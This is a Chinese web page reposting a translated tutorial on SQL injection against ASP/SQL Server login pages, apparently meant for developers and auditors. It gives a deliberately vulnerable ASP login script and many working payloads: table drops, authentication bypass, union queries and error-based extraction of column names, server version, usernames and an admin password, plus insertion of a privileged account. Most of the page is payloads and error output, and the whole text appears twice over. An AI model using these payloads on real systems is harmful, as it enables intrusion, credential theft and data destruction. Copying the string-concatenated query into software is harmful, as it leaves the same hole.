Sql Server 應(yīng)用程序的高級(jí)Sql注入第1/2頁(yè)
更新時(shí)間:2009年01月05日 12:28:44 作者:
這篇文章討論常用的"sql注入"技術(shù)的細(xì)節(jié),應(yīng)用于流行的Ms IIS/ASP/SQL-Server平臺(tái)。這里探討有關(guān)這種攻擊各種可以注入程序訪問(wèn)數(shù)據(jù)和數(shù)據(jù)庫(kù)防范的方法。
這篇文章面向兩種讀者:一是基于數(shù)據(jù)庫(kù)web程序開發(fā)人員和審核各種web程序的安全專家。
[介 紹]
結(jié)構(gòu)化查詢語(yǔ)言(SQL)是一種用來(lái)和數(shù)據(jù)庫(kù)交互的文本語(yǔ)言SQL語(yǔ)言多種多樣,大多的方言版本都共同寬松地遵循SQL-92標(biāo)準(zhǔn)(最新的ANSI標(biāo)準(zhǔn)[譯者注:目前最新的是SQL-99])。SQL運(yùn)行的典型的操作是“查詢”,它是可以讓數(shù)據(jù)庫(kù)返回“查詢結(jié)果記錄集”的語(yǔ)句集合。SQL語(yǔ)句可以修改數(shù)據(jù)庫(kù)的結(jié)構(gòu)(用數(shù)據(jù)定義語(yǔ)言"DDL")和操作數(shù)據(jù)庫(kù)里的數(shù)據(jù)(用數(shù)據(jù)操作語(yǔ)言"DML")。我們?cè)谶@里著重討論Transact-SQL(交互式SQL),應(yīng)用于SQL-Server的SQL一種方言(非標(biāo)準(zhǔn)SQL)。
如果攻擊者可以插一系列的SQL語(yǔ)句進(jìn)入應(yīng)用程序的數(shù)據(jù)查詢時(shí),Sql注入攻擊就可能發(fā)生。
一個(gè)典型的SQL語(yǔ)句是這樣的:
select id, forename, surname from authors
這個(gè)查詢語(yǔ)句將會(huì)從'authors'表中返回'id','forename'和'surname'列的所有行。返回的結(jié)果集也可以加以特定條件'author'限制:
select id, forename, surname from authors where forename = 'john' and surname = 'smith'
注意這里很重要的一點(diǎn)是'john'和'smith'是被單引號(hào)引住的,假設(shè)'forename'和'surname'字段是來(lái)自于用戶的輸入,攻擊者就可能通過(guò)輸入非法字符串來(lái)對(duì)這個(gè)查詢進(jìn)行SQL注入:
Forename:jo'hn
Surname: smith
查詢語(yǔ)句就會(huì)變成:
select id, forename, surname from authors where forename = 'jo'hn' and surname = 'smith'
當(dāng)數(shù)據(jù)庫(kù)試圖執(zhí)行這個(gè)查詢,它會(huì)返回這樣的錯(cuò)誤:
Server:Msg 170, Level 15, State 1, Line 1
Line 1:Incorrect syntax near 'hn'
這是因?yàn)椴迦氲膯我?hào)破壞了原來(lái)單引號(hào)引住的數(shù)據(jù),數(shù)據(jù)庫(kù)執(zhí)行到'hn'時(shí)失敗。如果攻擊者這樣輸入:
Forename: jo'; drop table authors--
Surname:
...authors表就會(huì)被刪掉,原因過(guò)一會(huì)再解釋。
似乎通過(guò)刪除用戶輸入的字符串中的單引號(hào)或者通過(guò)一些方法避免它們出現(xiàn)可以解決這個(gè)問(wèn)題。誠(chéng)然如此,但是要實(shí)施這個(gè)解決方法還有很多的困難。因?yàn)槭紫?不是所有的用戶提交的數(shù)據(jù)都是字符串形式,比如我們的用戶輸入通過(guò)'id'(看上去是個(gè)數(shù)字)來(lái)選擇一個(gè)用戶,我們的查詢可能會(huì)這樣:
select id,forename,surname from authors where id=1234
在這種情況下攻擊者可以輕易的在數(shù)值輸入后面添加SQL語(yǔ)句。在其他SQL方言中,使用著各種分隔符,比如MS Jet DBMS引擎,日期可以用'#'符號(hào)來(lái)分隔。
其次,避免單引號(hào)并不像開始我們想象的那樣是必要的解決辦法,原因下面討論。
我們將以Active Server Pages(ASP)登陸頁(yè)面為例子來(lái)詳細(xì)說(shuō)明,它訪問(wèn)一個(gè)Sql-Server數(shù)據(jù)庫(kù)并且驗(yàn)證一個(gè)到我們假想的程序的訪問(wèn)。
這是用戶填寫用戶名和密碼的表單頁(yè)面:
<HTML>
<HEAD>
<TITLE>Login Page</TITLE>
</HEAD>
<BODY bgcolor='000000' text='cccccc'>
<FONT Face='tahoma' color='cccccc'>
<CENTER><H1>Login</H1>
<FORM action='process_login.asp' method=post>
<TABLE>
<TR><TD>Username:</TD><TD><INPUT type=text name=username size=100%width=100></INPUT></TD></TR>
<TR><TD>Password:</TD><TD><INPUT type=password name=password size=100%
width=100></INPUT></TD></TR>
</TABLE>
<INPUT type=submit value='Submit'> <INPUT type=reset value='Reset'>
</FORM>
</FONT>
</BODY>
</HTML>
這是'process_login.asp'的代碼, 它處理用戶登陸:
<HTML>
<BODY bgcolor='000000' text='ffffff'>
<FONT Face='tahoma' color='ffffff'>
<STYLE>
p { font-size=20pt ! important}
font { font-size=20pt ! important}
h1 { font-size=64pt ! important}
</STYLE>
<%@LANGUAGE = JScript %>
<%
function trace( str )
{
if( Request.form("debug") == "true" )
Response.write( str );
}
function Login( cn )
{
var username;
var password;
username = Request.form("username");
password = Request.form("password");
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = '" + username + "'
and password = '" + password + "'";
trace( "query: " + sql );
rso.open( sql, cn );
if (rso.EOF)
{
rso.close();
%><FONT Face='tahoma' color='cc0000'>
<H1>
<BR><BR>
<CENTER>ACCESS DENIED</CENTER>
</H1>
</BODY>
</HTML>
<%
Response.end
return;
}
else
{
Session("username") = "" + rso("username");
%>
<FONT Face='tahoma' color='00cc00'>
<H1>
<CENTER>ACCESS GRANTED<BR>
<BR>
Welcome,
<% Response.write(rso("Username"));
Response.write( "</BODY></HTML>" );
Response.end
}
}
function Main()
{
//Set up connection
var username
var cn = Server.createobject( "ADODB.Connection" );
cn.connectiontimeout = 20;
cn.open( "localserver", "sa", "password" );
username = new String( Request.form("username") );
if( username.length > 0)
{
Login( cn );
}
cn.close();
}
Main();
%>
這里討論的是'process_login.asp'中的創(chuàng)建'query string'的部分:
var sql = "select * from users where username = '" + username + "' and password = '" + password + "'";
如果用戶指定了下面這樣的數(shù)據(jù):
Username: '; drop table users--
Password:
'users'表會(huì)被刪除,所有用戶都不能登陸。'--'是Transact-SQL(交互式SQL)的單行注釋符,';'標(biāo)志著一個(gè)查詢的結(jié)束另一個(gè)查詢的開始。用戶名最后的'--'用來(lái)使這個(gè)特殊的查詢無(wú)錯(cuò)誤結(jié)束。
攻擊者只要知道用戶名,就可以通過(guò)以下的輸入以任何用戶的身份登陸:
Username: admin'--
攻擊者可以通過(guò)下面的輸入以用戶表里的第一個(gè)用戶來(lái)登陸:
Username: ' or 1=1--
...更有甚者,攻擊者通過(guò)以下的輸入可以以任意虛構(gòu)的用戶登陸:
Username: ' union select 1, 'fictional_user', 'somoe_password', 1--
因?yàn)槌绦蛳嘈殴粽咧付ǖ某A渴菙?shù)據(jù)庫(kù)返回的記錄集的一部分。
[通過(guò)錯(cuò)誤信息獲取信息]
這個(gè)技術(shù)是David Litchfield在一次滲透入侵測(cè)試中首先發(fā)現(xiàn)的,后來(lái)david寫了篇關(guān)于這個(gè)技術(shù)的文章,很多作者都參考過(guò)這篇作品。這里我們討論“錯(cuò)誤消息”技術(shù)潛在的機(jī)制,使讀者可以充分理解它并且能靈活應(yīng)用。
為了操作數(shù)據(jù)庫(kù)里的數(shù)據(jù),攻擊者要確定某個(gè)數(shù)據(jù)庫(kù)的結(jié)構(gòu)。例如:我們的"user"表是用下面的語(yǔ)句建立的:
create table users( id int,
username varchar(255),
password varchar(255),
privs int
)
并且插入了下面的用戶:
insert into users values( 0, 'admin', 'r00tr0x!', 0xffff )
insert into users values( 0, 'guest', 'guest', 0x0000 )
insert into users values( 0, 'chris', 'password', 0x00ff )
insert into users values( 0, 'fred', 'sesame', 0x00ff )
我們假設(shè)攻擊者要為自己插入一個(gè)用戶,如果不知道表的結(jié)構(gòu)的話,他不可能成功。即使他運(yùn)氣好,'priv'字段的重要性還不清楚。攻擊者可能插入'1',給自己在程序里添加了一個(gè)低權(quán)限的用戶,而他的目標(biāo)是管理員的權(quán)限。
對(duì)于攻擊者來(lái)說(shuō)幸運(yùn)的是:如果程序返回錯(cuò)誤(asp默認(rèn)如此),攻擊者可以猜測(cè)整個(gè)數(shù)據(jù)庫(kù)的結(jié)構(gòu),讀取ASP程序連接到SQL-Server的帳號(hào)權(quán)限內(nèi)可以讀取的任何值。
(下面給出的使用上面提供的示例數(shù)據(jù)庫(kù)和asp腳本來(lái)說(shuō)明這些技術(shù)怎樣實(shí)現(xiàn)的)
首先,攻擊者要確定查詢的表名和字段名。要做到這點(diǎn),攻擊者可以使用'select'語(yǔ)句的'having'子句:
username: ' having 1=1 --
這會(huì)引起下面的錯(cuò)誤(譯者注:having字句必須和GROUP BY或者聚合函數(shù)一起配合使用,否則出錯(cuò)):
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is
invalid in the select list because it is not contained in an aggregate
function and there is no GROUP BY clause.
/process_login.asp, line 35
所以攻擊者就知道了表名和第一列的列名,他們可以通過(guò)給每列加上'group by'子句繼續(xù)得到其他列名,如下:
username: ' group by users.id having 1=1 --
(結(jié)果產(chǎn)生這樣的錯(cuò)誤)
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username'
is invalid in the select list because it is not contained in either an
aggregate function or the GROUP BY clause.
/process_login.asp, line 35
最后攻擊者得到了下面的'username':
' group by users.id, users.username, users.password, users.privs having 1=1--
這句沒(méi)有錯(cuò)誤,相當(dāng)于:
select * from users where username = ''
所以攻擊者知道了查詢只是關(guān)于'users'表的,并且順序使用了列'id,username,password,rpivs'。
如果攻擊者能確定各列的數(shù)據(jù)類型將會(huì)很有用,可以利用類型轉(zhuǎn)換錯(cuò)誤信息來(lái)達(dá)到這一點(diǎn),看下面的例子:
Username: ' union select sum(username) from users--
這利用了SQL-Server試圖在確定兩行是否相同之前先執(zhí)行'sum'子句的特性,計(jì)算文本域的和會(huì)返回這樣的信息:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average
aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35
它告訴我們'username'字段的類型是'varchar'。相反的,如果我們?cè)噲D計(jì)算數(shù)值型的字段,但結(jié)果兩行的列數(shù)并不匹配:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average
aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35
我們可以用這個(gè)技術(shù)來(lái)大概地確定數(shù)據(jù)庫(kù)內(nèi)各列的類型。
這樣攻擊者就可以寫出一個(gè)格式完美的'insert'語(yǔ)句:
Username: '; insert into users values( 666, 'attacker', 'foobar', 0xffff )--
但是,這個(gè)技術(shù)的潛力不止這些。攻擊者可以利用任何錯(cuò)誤信息來(lái)暴露系統(tǒng)環(huán)境或者數(shù)據(jù)庫(kù)信息。執(zhí)行下面的語(yǔ)句可以得到一個(gè)標(biāo)準(zhǔn)錯(cuò)誤信息的清單:
select * from master..sysmessages
檢查這個(gè)清單可以發(fā)現(xiàn)很多有趣的信息。
一個(gè)特別有用的信息有關(guān)類型轉(zhuǎn)換,如果你試圖將一個(gè)字符串轉(zhuǎn)換成整型,整個(gè)字符串的內(nèi)容將會(huì)出現(xiàn)在錯(cuò)誤信息里。以我們登陸頁(yè)的例子來(lái)說(shuō),使用下面的'username'將會(huì)返回SQL-Server的版本以及它所在服務(wù)器操作系統(tǒng)的版本信息:
Username: ' union select @@version,1,1,1--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug
6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise
Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of
data type int.
/process_login.asp, line 35
這試圖將內(nèi)置常量'@@version'轉(zhuǎn)換成整型,因?yàn)?users'表第一列是整數(shù)。
這個(gè)技術(shù)可以用來(lái)讀取任何數(shù)據(jù)庫(kù)的任何表的任何內(nèi)容,如果攻擊者對(duì)用戶名和密碼感興趣,他們就可以從'users'表讀用戶名:
Username: ' union select min(username),1,1,1 from users where username > 'a'--
這將選出比'a'大的最小用戶名,而且試圖將它轉(zhuǎn)換成一個(gè)整數(shù):
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'admin' to a column of data type int.
/process_login.asp, line 35
攻擊者就知道'admin'帳號(hào)存在,他現(xiàn)在可以把他發(fā)現(xiàn)的用戶名放進(jìn)'where'子句來(lái)反復(fù)測(cè)試這行:
Username: ' union select min(username),1,1,1 from users where username > 'admin'--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'chris' to a column of data type int.
/process_login.asp, line 35
一旦攻擊者確定了用戶名,他就可以搜集密碼;
Username: ' union select password,1,1,1 from users where username = 'admin'--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'r00tr0x!' to a column of data type int.
/process_login.asp, line 35
一個(gè)更“別致”的技術(shù)是將用戶名和密碼連接成一個(gè)單獨(dú)的字符傳,然后試圖將它轉(zhuǎn)換成整型。這將舉另一種例子;Transact-SQL語(yǔ)句可以將字符串連接成一行而不改變他們的意義,下面的腳本將連接這些值:
begin declare @ret varchar(8000)
set @ret=':'
select @ret=@ret+' '+username+'/'+password from users where
username>@ret
select @ret as ret into foo
end
[介 紹]
結(jié)構(gòu)化查詢語(yǔ)言(SQL)是一種用來(lái)和數(shù)據(jù)庫(kù)交互的文本語(yǔ)言SQL語(yǔ)言多種多樣,大多的方言版本都共同寬松地遵循SQL-92標(biāo)準(zhǔn)(最新的ANSI標(biāo)準(zhǔn)[譯者注:目前最新的是SQL-99])。SQL運(yùn)行的典型的操作是“查詢”,它是可以讓數(shù)據(jù)庫(kù)返回“查詢結(jié)果記錄集”的語(yǔ)句集合。SQL語(yǔ)句可以修改數(shù)據(jù)庫(kù)的結(jié)構(gòu)(用數(shù)據(jù)定義語(yǔ)言"DDL")和操作數(shù)據(jù)庫(kù)里的數(shù)據(jù)(用數(shù)據(jù)操作語(yǔ)言"DML")。我們?cè)谶@里著重討論Transact-SQL(交互式SQL),應(yīng)用于SQL-Server的SQL一種方言(非標(biāo)準(zhǔn)SQL)。
如果攻擊者可以插一系列的SQL語(yǔ)句進(jìn)入應(yīng)用程序的數(shù)據(jù)查詢時(shí),Sql注入攻擊就可能發(fā)生。
一個(gè)典型的SQL語(yǔ)句是這樣的:
select id, forename, surname from authors
這個(gè)查詢語(yǔ)句將會(huì)從'authors'表中返回'id','forename'和'surname'列的所有行。返回的結(jié)果集也可以加以特定條件'author'限制:
select id, forename, surname from authors where forename = 'john' and surname = 'smith'
注意這里很重要的一點(diǎn)是'john'和'smith'是被單引號(hào)引住的,假設(shè)'forename'和'surname'字段是來(lái)自于用戶的輸入,攻擊者就可能通過(guò)輸入非法字符串來(lái)對(duì)這個(gè)查詢進(jìn)行SQL注入:
Forename:jo'hn
Surname: smith
查詢語(yǔ)句就會(huì)變成:
select id, forename, surname from authors where forename = 'jo'hn' and surname = 'smith'
當(dāng)數(shù)據(jù)庫(kù)試圖執(zhí)行這個(gè)查詢,它會(huì)返回這樣的錯(cuò)誤:
Server:Msg 170, Level 15, State 1, Line 1
Line 1:Incorrect syntax near 'hn'
這是因?yàn)椴迦氲膯我?hào)破壞了原來(lái)單引號(hào)引住的數(shù)據(jù),數(shù)據(jù)庫(kù)執(zhí)行到'hn'時(shí)失敗。如果攻擊者這樣輸入:
Forename: jo'; drop table authors--
Surname:
...authors表就會(huì)被刪掉,原因過(guò)一會(huì)再解釋。
似乎通過(guò)刪除用戶輸入的字符串中的單引號(hào)或者通過(guò)一些方法避免它們出現(xiàn)可以解決這個(gè)問(wèn)題。誠(chéng)然如此,但是要實(shí)施這個(gè)解決方法還有很多的困難。因?yàn)槭紫?不是所有的用戶提交的數(shù)據(jù)都是字符串形式,比如我們的用戶輸入通過(guò)'id'(看上去是個(gè)數(shù)字)來(lái)選擇一個(gè)用戶,我們的查詢可能會(huì)這樣:
select id,forename,surname from authors where id=1234
在這種情況下攻擊者可以輕易的在數(shù)值輸入后面添加SQL語(yǔ)句。在其他SQL方言中,使用著各種分隔符,比如MS Jet DBMS引擎,日期可以用'#'符號(hào)來(lái)分隔。
其次,避免單引號(hào)并不像開始我們想象的那樣是必要的解決辦法,原因下面討論。
我們將以Active Server Pages(ASP)登陸頁(yè)面為例子來(lái)詳細(xì)說(shuō)明,它訪問(wèn)一個(gè)Sql-Server數(shù)據(jù)庫(kù)并且驗(yàn)證一個(gè)到我們假想的程序的訪問(wèn)。
這是用戶填寫用戶名和密碼的表單頁(yè)面:
<HTML>
<HEAD>
<TITLE>Login Page</TITLE>
</HEAD>
<BODY bgcolor='000000' text='cccccc'>
<FONT Face='tahoma' color='cccccc'>
<CENTER><H1>Login</H1>
<FORM action='process_login.asp' method=post>
<TABLE>
<TR><TD>Username:</TD><TD><INPUT type=text name=username size=100%width=100></INPUT></TD></TR>
<TR><TD>Password:</TD><TD><INPUT type=password name=password size=100%
width=100></INPUT></TD></TR>
</TABLE>
<INPUT type=submit value='Submit'> <INPUT type=reset value='Reset'>
</FORM>
</FONT>
</BODY>
</HTML>
這是'process_login.asp'的代碼, 它處理用戶登陸:
<HTML>
<BODY bgcolor='000000' text='ffffff'>
<FONT Face='tahoma' color='ffffff'>
<STYLE>
p { font-size=20pt ! important}
font { font-size=20pt ! important}
h1 { font-size=64pt ! important}
</STYLE>
<%@LANGUAGE = JScript %>
<%
function trace( str )
{
if( Request.form("debug") == "true" )
Response.write( str );
}
function Login( cn )
{
var username;
var password;
username = Request.form("username");
password = Request.form("password");
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = '" + username + "'
and password = '" + password + "'";
trace( "query: " + sql );
rso.open( sql, cn );
if (rso.EOF)
{
rso.close();
%><FONT Face='tahoma' color='cc0000'>
<H1>
<BR><BR>
<CENTER>ACCESS DENIED</CENTER>
</H1>
</BODY>
</HTML>
<%
Response.end
return;
}
else
{
Session("username") = "" + rso("username");
%>
<FONT Face='tahoma' color='00cc00'>
<H1>
<CENTER>ACCESS GRANTED<BR>
<BR>
Welcome,
<% Response.write(rso("Username"));
Response.write( "</BODY></HTML>" );
Response.end
}
}
function Main()
{
//Set up connection
var username
var cn = Server.createobject( "ADODB.Connection" );
cn.connectiontimeout = 20;
cn.open( "localserver", "sa", "password" );
username = new String( Request.form("username") );
if( username.length > 0)
{
Login( cn );
}
cn.close();
}
Main();
%>
這里討論的是'process_login.asp'中的創(chuàng)建'query string'的部分:
var sql = "select * from users where username = '" + username + "' and password = '" + password + "'";
如果用戶指定了下面這樣的數(shù)據(jù):
Username: '; drop table users--
Password:
'users'表會(huì)被刪除,所有用戶都不能登陸。'--'是Transact-SQL(交互式SQL)的單行注釋符,';'標(biāo)志著一個(gè)查詢的結(jié)束另一個(gè)查詢的開始。用戶名最后的'--'用來(lái)使這個(gè)特殊的查詢無(wú)錯(cuò)誤結(jié)束。
攻擊者只要知道用戶名,就可以通過(guò)以下的輸入以任何用戶的身份登陸:
Username: admin'--
攻擊者可以通過(guò)下面的輸入以用戶表里的第一個(gè)用戶來(lái)登陸:
Username: ' or 1=1--
...更有甚者,攻擊者通過(guò)以下的輸入可以以任意虛構(gòu)的用戶登陸:
Username: ' union select 1, 'fictional_user', 'somoe_password', 1--
因?yàn)槌绦蛳嘈殴粽咧付ǖ某A渴菙?shù)據(jù)庫(kù)返回的記錄集的一部分。
[通過(guò)錯(cuò)誤信息獲取信息]
這個(gè)技術(shù)是David Litchfield在一次滲透入侵測(cè)試中首先發(fā)現(xiàn)的,后來(lái)david寫了篇關(guān)于這個(gè)技術(shù)的文章,很多作者都參考過(guò)這篇作品。這里我們討論“錯(cuò)誤消息”技術(shù)潛在的機(jī)制,使讀者可以充分理解它并且能靈活應(yīng)用。
為了操作數(shù)據(jù)庫(kù)里的數(shù)據(jù),攻擊者要確定某個(gè)數(shù)據(jù)庫(kù)的結(jié)構(gòu)。例如:我們的"user"表是用下面的語(yǔ)句建立的:
create table users( id int,
username varchar(255),
password varchar(255),
privs int
)
并且插入了下面的用戶:
insert into users values( 0, 'admin', 'r00tr0x!', 0xffff )
insert into users values( 0, 'guest', 'guest', 0x0000 )
insert into users values( 0, 'chris', 'password', 0x00ff )
insert into users values( 0, 'fred', 'sesame', 0x00ff )
我們假設(shè)攻擊者要為自己插入一個(gè)用戶,如果不知道表的結(jié)構(gòu)的話,他不可能成功。即使他運(yùn)氣好,'priv'字段的重要性還不清楚。攻擊者可能插入'1',給自己在程序里添加了一個(gè)低權(quán)限的用戶,而他的目標(biāo)是管理員的權(quán)限。
對(duì)于攻擊者來(lái)說(shuō)幸運(yùn)的是:如果程序返回錯(cuò)誤(asp默認(rèn)如此),攻擊者可以猜測(cè)整個(gè)數(shù)據(jù)庫(kù)的結(jié)構(gòu),讀取ASP程序連接到SQL-Server的帳號(hào)權(quán)限內(nèi)可以讀取的任何值。
(下面給出的使用上面提供的示例數(shù)據(jù)庫(kù)和asp腳本來(lái)說(shuō)明這些技術(shù)怎樣實(shí)現(xiàn)的)
首先,攻擊者要確定查詢的表名和字段名。要做到這點(diǎn),攻擊者可以使用'select'語(yǔ)句的'having'子句:
username: ' having 1=1 --
這會(huì)引起下面的錯(cuò)誤(譯者注:having字句必須和GROUP BY或者聚合函數(shù)一起配合使用,否則出錯(cuò)):
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is
invalid in the select list because it is not contained in an aggregate
function and there is no GROUP BY clause.
/process_login.asp, line 35
所以攻擊者就知道了表名和第一列的列名,他們可以通過(guò)給每列加上'group by'子句繼續(xù)得到其他列名,如下:
username: ' group by users.id having 1=1 --
(結(jié)果產(chǎn)生這樣的錯(cuò)誤)
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username'
is invalid in the select list because it is not contained in either an
aggregate function or the GROUP BY clause.
/process_login.asp, line 35
最后攻擊者得到了下面的'username':
' group by users.id, users.username, users.password, users.privs having 1=1--
這句沒(méi)有錯(cuò)誤,相當(dāng)于:
select * from users where username = ''
所以攻擊者知道了查詢只是關(guān)于'users'表的,并且順序使用了列'id,username,password,rpivs'。
如果攻擊者能確定各列的數(shù)據(jù)類型將會(huì)很有用,可以利用類型轉(zhuǎn)換錯(cuò)誤信息來(lái)達(dá)到這一點(diǎn),看下面的例子:
Username: ' union select sum(username) from users--
這利用了SQL-Server試圖在確定兩行是否相同之前先執(zhí)行'sum'子句的特性,計(jì)算文本域的和會(huì)返回這樣的信息:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average
aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35
它告訴我們'username'字段的類型是'varchar'。相反的,如果我們?cè)噲D計(jì)算數(shù)值型的字段,但結(jié)果兩行的列數(shù)并不匹配:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average
aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35
我們可以用這個(gè)技術(shù)來(lái)大概地確定數(shù)據(jù)庫(kù)內(nèi)各列的類型。
這樣攻擊者就可以寫出一個(gè)格式完美的'insert'語(yǔ)句:
Username: '; insert into users values( 666, 'attacker', 'foobar', 0xffff )--
但是,這個(gè)技術(shù)的潛力不止這些。攻擊者可以利用任何錯(cuò)誤信息來(lái)暴露系統(tǒng)環(huán)境或者數(shù)據(jù)庫(kù)信息。執(zhí)行下面的語(yǔ)句可以得到一個(gè)標(biāo)準(zhǔn)錯(cuò)誤信息的清單:
select * from master..sysmessages
檢查這個(gè)清單可以發(fā)現(xiàn)很多有趣的信息。
一個(gè)特別有用的信息有關(guān)類型轉(zhuǎn)換,如果你試圖將一個(gè)字符串轉(zhuǎn)換成整型,整個(gè)字符串的內(nèi)容將會(huì)出現(xiàn)在錯(cuò)誤信息里。以我們登陸頁(yè)的例子來(lái)說(shuō),使用下面的'username'將會(huì)返回SQL-Server的版本以及它所在服務(wù)器操作系統(tǒng)的版本信息:
Username: ' union select @@version,1,1,1--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug
6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise
Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of
data type int.
/process_login.asp, line 35
這試圖將內(nèi)置常量'@@version'轉(zhuǎn)換成整型,因?yàn)?users'表第一列是整數(shù)。
這個(gè)技術(shù)可以用來(lái)讀取任何數(shù)據(jù)庫(kù)的任何表的任何內(nèi)容,如果攻擊者對(duì)用戶名和密碼感興趣,他們就可以從'users'表讀用戶名:
Username: ' union select min(username),1,1,1 from users where username > 'a'--
這將選出比'a'大的最小用戶名,而且試圖將它轉(zhuǎn)換成一個(gè)整數(shù):
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'admin' to a column of data type int.
/process_login.asp, line 35
攻擊者就知道'admin'帳號(hào)存在,他現(xiàn)在可以把他發(fā)現(xiàn)的用戶名放進(jìn)'where'子句來(lái)反復(fù)測(cè)試這行:
Username: ' union select min(username),1,1,1 from users where username > 'admin'--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'chris' to a column of data type int.
/process_login.asp, line 35
一旦攻擊者確定了用戶名,他就可以搜集密碼;
Username: ' union select password,1,1,1 from users where username = 'admin'--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'r00tr0x!' to a column of data type int.
/process_login.asp, line 35
一個(gè)更“別致”的技術(shù)是將用戶名和密碼連接成一個(gè)單獨(dú)的字符傳,然后試圖將它轉(zhuǎn)換成整型。這將舉另一種例子;Transact-SQL語(yǔ)句可以將字符串連接成一行而不改變他們的意義,下面的腳本將連接這些值:
begin declare @ret varchar(8000)
set @ret=':'
select @ret=@ret+' '+username+'/'+password from users where
username>@ret
select @ret as ret into foo
end
相關(guān)文章
為動(dòng)網(wǎng)論壇添加一個(gè)密碼嗅探器(DVBBS)
為動(dòng)網(wǎng)論壇添加一個(gè)密碼嗅探器(DVBBS)...2007-01-01基于DoS攻擊的隨機(jī)數(shù)據(jù)包標(biāo)記源跟蹤算法
基于DoS攻擊的隨機(jī)數(shù)據(jù)包標(biāo)記源跟蹤算法...2007-01-01經(jīng)過(guò)測(cè)試,看來(lái)Administrastor,賬戶真的不安全
經(jīng)過(guò)測(cè)試,看來(lái)Administrastor,賬戶真的不安全...2007-01-01關(guān)于mysql 3.0的注射的一點(diǎn)思路
關(guān)于mysql 3.0的注射的一點(diǎn)思路...2007-01-01淺析國(guó)內(nèi)某網(wǎng)絡(luò)游戲的安全現(xiàn)況
淺析國(guó)內(nèi)某網(wǎng)絡(luò)游戲的安全現(xiàn)況2007-01-01